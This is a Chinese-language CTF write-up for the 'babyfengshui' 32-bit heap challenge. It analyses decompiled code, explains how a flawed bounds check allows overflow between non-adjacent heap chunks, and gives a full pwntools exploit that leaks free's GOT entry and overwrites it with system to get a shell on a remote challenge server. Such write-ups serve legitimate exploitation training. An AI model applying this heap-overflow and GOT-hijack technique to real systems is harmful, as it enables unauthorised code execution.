1 分析
1.1 二进制程序基本信息
1 2 3 4 5 6 7 8 9 10 11
| $ file babyfengshui babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped
$ checksec babyfengshui [*] '/mnt/hgfs/vmshare-1604/babyfengshui/babyfengshui' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
|
1.2 IDA分析源码流程
程序主要有四个函数:添加用户,删除用户,展示用户信息,升级用户信息。
添加用户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ···· printf("size of description: "); __isoc99_scanf("%u%c", &v2, &v0); add_user(v2); ···· _DWORD *__cdecl add_user(size_t a1) { void *s; _DWORD *v2;
s = malloc(a1); memset(s, 0, a1); v2 = malloc(0x80u); memset(v2, 0, 0x80u); *v2 = s; ptr[(unsigned __int8)user_num] = v2; printf("name: "); get_v1((char *)ptr[(unsigned __int8)user_num] + 4, 0x7C); update_description(++user_num - 1); return v2; }
|
添加用户的代码,做了这么一件事,如下图所示。首先创建一个堆块用来存放description信息,用*S
指向它;再创建一个堆块,用*V2
指向它,前四个字节存放description的地址,后面用来存放名字name;最后将bss段的ptr[0]指向*V2
这个堆块。并将byte_804b069自加1,这个值相当于记录目前一共申请了多少个user。
删除用户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| printf("index: "); __isoc99_scanf("%d", &v2); del_user(v2);
unsigned int __cdecl del_user(unsigned __int8 index) { unsigned int v2;
v2 = __readgsdword(0x14u); if ( index < (unsigned __int8)user_num && ptr[index] ) { free(*(void **)ptr[index]); free(ptr[index]); ptr[index] = 0; } return __readgsdword(0x14u) ^ v2; }
|
删除用户的代码中,将一个用户拥有的两个堆块分别释放,并将bss段对应的ptr[n]置0。虽然此时*V2
的前四个字节还指向*S
,但当堆块被扔到bin中时,会做清理,因此不会造成问题。
展示用户信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| printf("index: "); __isoc99_scanf("%d", &v2); disp_user(v2);
unsigned int __cdecl disp_user(unsigned __int8 index) { unsigned int v2;
v2 = __readgsdword(0x14u); if ( index < (unsigned __int8)user_num && ptr[index] ) { printf("name: %s\n", (char *)ptr[index] + 4); printf("description: %s\n", *(_DWORD *)ptr[index]); } return __readgsdword(0x14u) ^ v2; }
|
这个函数很简单,根据给定的index,将用户的name和description信息打印出来。通过这个函数的功能我们可以猜测,之后泄露信息一定要用到它。
升级用户信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| printf("index: "); __isoc99_scanf("%d", &v2); update_description(v2);
unsigned int __cdecl update_description(unsigned __int8 index) { char v2; int v3; unsigned int v4;
v4 = __readgsdword(0x14u); if ( index < (unsigned __int8)user_num && ptr[index] ) { v3 = 0; printf("text length: "); __isoc99_scanf("%u%c", &v3, &v2); if ( (char *)(v3 + *(_DWORD *)ptr[index]) >= (char *)ptr[index] - 4 ) { puts("my l33t defenses cannot be fooled, cya!"); exit(1); } printf("text: "); get_v1(*(char **)ptr[index], v3 + 1); } return __readgsdword(0x14u) ^ v4; }
|
升级用户信息这个函数乍一看没看出问题,就是不太明白(char *)(v3 + *(_DWORD *)ptr[index]) >= (char *)ptr[index] - 4
这一个判断的作用是啥,以为不会有漏洞点就跳过了。谁知道!!问题就出在这儿!!
这一判断的目的是,保证当前用户的description块不会覆盖name块。如果分配给一个用户的两个堆块是相邻的,且description块在低地址,name块在高地址的话,这个判断是很有用的。但是如果这两个堆块不相邻,那么问题就来了,位于description块和name块之间的所有堆块都可以被我们的输入覆盖。
因此,我们只要构造一个用户,其两个堆块在另一个用户堆块description块和name块之间即可。
利用分析
以添加第一个用户为例,需要我们指定description的堆块大小,还会申请一个固定大小0x80的堆块(该堆块被释放后会进入unsorted bin)。如果指定description大小为fast bin的大小,那么当删除这个用户时(非第一个用户,因为第一个用户的堆chunk紧挨着top chunk,释放后会跟top chunk合并而非进入bin中),description块会进入fast bin,而name块会进入unsorted bin(0x80)。
这时,如果我们添加一个用户,并且指定description大小为0x80,那么unsorted bin中的那个块会被分配给这个用户的description,然后再新生成一个0x80大小的chunk给这个用户做name块。因此就构造了如下图所示的两个用户堆块关系:
这样我们调用“升级用户信息”函数更改description A的值,使name B的前四个字节被覆盖为got表中的free表项(泄露free地址,我们要用(1)system替换free(2)将description A的前几个字节改成“/bin/sh\x00”
,这样在删除用户free(S)时,就去执行了system("/bin/sh\x00")
),这样当我们调用打印信息时,会去打印free这个got表项存放的真正的free函数地址,从而泄露出free函数地址(根据该地址,结合对应的libc版本,我们可以进一步算出libc基址和system函数地址)。
获得system函数地址后,我们调用升级B用户信息,将system地址写入got表中的free表项,从而实现了free函数的劫持。然后在之前往description A中写信息时,将”/bin/sh\x00”写在起始位置。最后,调用删除函数删除用户A的信息,就可以实现get shell利用了。
2 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import * context(arch='i386',os='linux',log_level='debug') myelf = ELF('./babyfengshui')
myproc = remote("159.138.137.79",65054)
def add_user(size,name,text_length,text): myproc.recvuntil("Action: ") myproc.sendline(str(0)) myproc.recvuntil("size of description: ") myproc.sendline(str(size)) myproc.recvuntil("name: ") myproc.sendline(name) myproc.recvuntil("text length: ") myproc.sendline(str(text_length)) myproc.recvuntil("text: ") myproc.sendline(text)
def del_user(user_index): myproc.recvuntil("Action: ") myproc.sendline(str(1)) myproc.recvuntil("index: ") myproc.sendline(str(user_index))
def disp_user(user_index): myproc.recvuntil("Action: ") myproc.sendline(str(2)) myproc.recvuntil("index: ") myproc.sendline(str(user_index))
def update_description(user_index,text_length,text): myproc.recvuntil("Action: ") myproc.sendline(str(3)) myproc.recvuntil("index: ") myproc.sendline(str(user_index)) myproc.recvuntil("text length: ") myproc.sendline(str(text_length)) myproc.recvuntil("text: ") myproc.sendline(text)
add_user(0x10,'name0',0x10,'text0') add_user(0x10,'name1',0x10,'text1') del_user(0) add_user(0x80,'name2',0x80,'text2')
payload = "/bin/sh\x00"+"a"*(0xa0 - len("/bin/sh\x00")) + p32(myelf.got['free']) update_description(2,len(payload),payload) disp_user(1) myproc.recvuntil('description: ') free_addr = u32(myproc.recv(4))
libc_base = free_addr - 0x070750 system_addr = libc_base + 0x03a940
update_description(1,4,p32(system_addr))
del_user(2)
myproc.interactive()
|
3 libc版本
根据泄露的函数地址的后三位可以确定对应的libc版本,具体操作见如下链接。
参考链接:
https://www.jianshu.com/p/8d2552b8e1a2
https://libc.blukat.me/
4 题目参考链接
https://blog.csdn.net/Breeze_CAT/article/details/103788631